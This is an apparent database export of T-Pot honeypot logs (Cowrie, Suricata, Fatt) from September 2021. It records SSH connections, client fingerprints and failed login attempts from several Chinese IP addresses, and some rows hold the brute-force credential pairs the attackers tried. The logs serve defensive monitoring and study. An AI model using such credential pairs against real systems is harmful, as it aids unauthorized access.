34817	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 15:04:15.587789+03	2021-09-20 15:15:02.406691+03	{"_id": "WQYXA3wBvYTbRNuEsFgC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "db0074e9f6dd", "@version": "1", "duration": 2.747185230255127, "timestamp": "2021-09-20T12:04:15.587789Z", "@timestamp": "2021-09-20T12:04:15.587Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
34818	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 15:04:16.516825+03	2021-09-20 15:15:02.40769+03	{"_id": "WgYXA3wBvYTbRNuEs1jt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.login.failed", "message": "login attempt [server/admin] failed", "session": "6975ebfd06c9", "@version": "1", "password": "admin", "username": "server", "timestamp": "2021-09-20T12:04:16.516825Z", "@timestamp": "2021-09-20T12:04:16.516Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
34819	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 15:04:17.799199+03	2021-09-20 15:15:02.40969+03	{"_id": "XQYXA3wBvYTbRNuEt1jV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "6975ebfd06c9", "@version": "1", "duration": 2.7682957649230957, "timestamp": "2021-09-20T12:04:17.799199Z", "@timestamp": "2021-09-20T12:04:17.799Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
34820	121.4.68.188	109.199.241.180	Fatt	2021-09-20 15:04:13.111303+03	2021-09-20 15:15:02.41069+03	{"_id": "RwYXA3wBvYTbRNuEpljO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "121.4.68.188", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 49916, "dest_port": 22, "timestamp": "2021-09-20T12:04:13.111303", "@timestamp": "2021-09-20T12:04:13.111Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
34821	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 15:04:14.304308+03	2021-09-20 15:15:02.412691+03	{"_id": "SQYXA3wBvYTbRNuEqFgy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.login.failed", "message": "login attempt [contact/123] failed", "session": "db0074e9f6dd", "@version": "1", "password": "123", "username": "contact", "timestamp": "2021-09-20T12:04:14.304308Z", "@timestamp": "2021-09-20T12:04:14.304Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
34822	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 15:04:15.029779+03	2021-09-20 15:15:02.41369+03	{"_id": "UgYXA3wBvYTbRNuErFgb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.105.80.34:38278 (192.168.176.2:22) [session: 6975ebfd06c9]", "session": "6975ebfd06c9", "@version": "1", "protocol": "ssh", "src_port": 38278, "dest_port": 22, "timestamp": "2021-09-20T12:04:15.029779Z", "@timestamp": "2021-09-20T12:04:15.029Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
34823	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 15:04:15.309132+03	2021-09-20 15:15:02.41469+03	{"_id": "UwYXA3wBvYTbRNuErFgc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "6975ebfd06c9", "@version": "1", "timestamp": "2021-09-20T12:04:15.309132Z", "@timestamp": "2021-09-20T12:04:15.309Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
34824	113.105.80.34	109.199.241.180	Suricata	2021-09-20 15:04:15.308116+03	2021-09-20 15:15:02.416691+03	{"_id": "VAYXA3wBvYTbRNuErVg8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "flow_id": 919666192972140, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38278, "dest_port": 22, "timestamp": "2021-09-20T12:04:15.308116Z", "@timestamp": "2021-09-20T12:04:15.308Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
34825	113.105.80.34	109.199.241.180	Fatt	2021-09-20 15:04:15.308206+03	2021-09-20 15:15:02.418691+03	{"_id": "VgYXA3wBvYTbRNuErlhC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 38278, "dest_port": 22, "timestamp": "2021-09-20T12:04:15.308206", "@timestamp": "2021-09-20T12:04:15.308Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
34826	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 15:04:16.118068+03	2021-09-20 15:15:02.41969+03	{"_id": "WAYXA3wBvYTbRNuEsFgC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d9ef34f82323", "@version": "1", "duration": 2.735565662384033, "timestamp": "2021-09-20T12:04:16.118068Z", "@timestamp": "2021-09-20T12:04:16.118Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
34832	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:04:05.60486+03	2021-09-20 15:15:02.427691+03	{"_id": "LAYXA3wBvYTbRNuEiFju", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/8owmpiyddyo] failed", "session": "7a90936e883c", "@version": "1", "password": "8owmpiyddyo", "username": "root", "timestamp": "2021-09-20T12:04:05.604860Z", "@timestamp": "2021-09-20T12:04:05.604Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
34827	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:04:04.213186+03	2021-09-20 15:15:02.42069+03	{"_id": "JQYXA3wBvYTbRNuEgVgc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "7a90936e883c", "@version": "1", "timestamp": "2021-09-20T12:04:04.213186Z", "@timestamp": "2021-09-20T12:04:04.213Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
34828	218.92.0.190	109.199.241.180	Suricata	2021-09-20 15:04:04.21243+03	2021-09-20 15:15:02.42169+03	{"_id": "KAYXA3wBvYTbRNuEglg_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 493940443877675, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37166, "dest_port": 22, "timestamp": "2021-09-20T12:04:04.212430Z", "@timestamp": "2021-09-20T12:04:04.212Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
34829	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:04:03.956081+03	2021-09-20 15:15:02.42369+03	{"_id": "KgYXA3wBvYTbRNuEg1hF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37166, "timestamp": "2021-09-20T12:04:03.956081", "@timestamp": "2021-09-20T12:04:03.956Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34830	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:04:03.954993+03	2021-09-20 15:15:02.42469+03	{"_id": "JwYXA3wBvYTbRNuEgVgd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "7a90936e883c", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T12:04:03.954993Z", "@timestamp": "2021-09-20T12:04:03.954Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
34831	218.92.0.190	109.199.241.180	Fatt	2021-09-20 15:04:04.212646+03	2021-09-20 15:15:02.42569+03	{"_id": "KQYXA3wBvYTbRNuEg1hF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 37166, "dest_port": 22, "timestamp": "2021-09-20T12:04:04.212646", "@timestamp": "2021-09-20T12:04:04.212Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
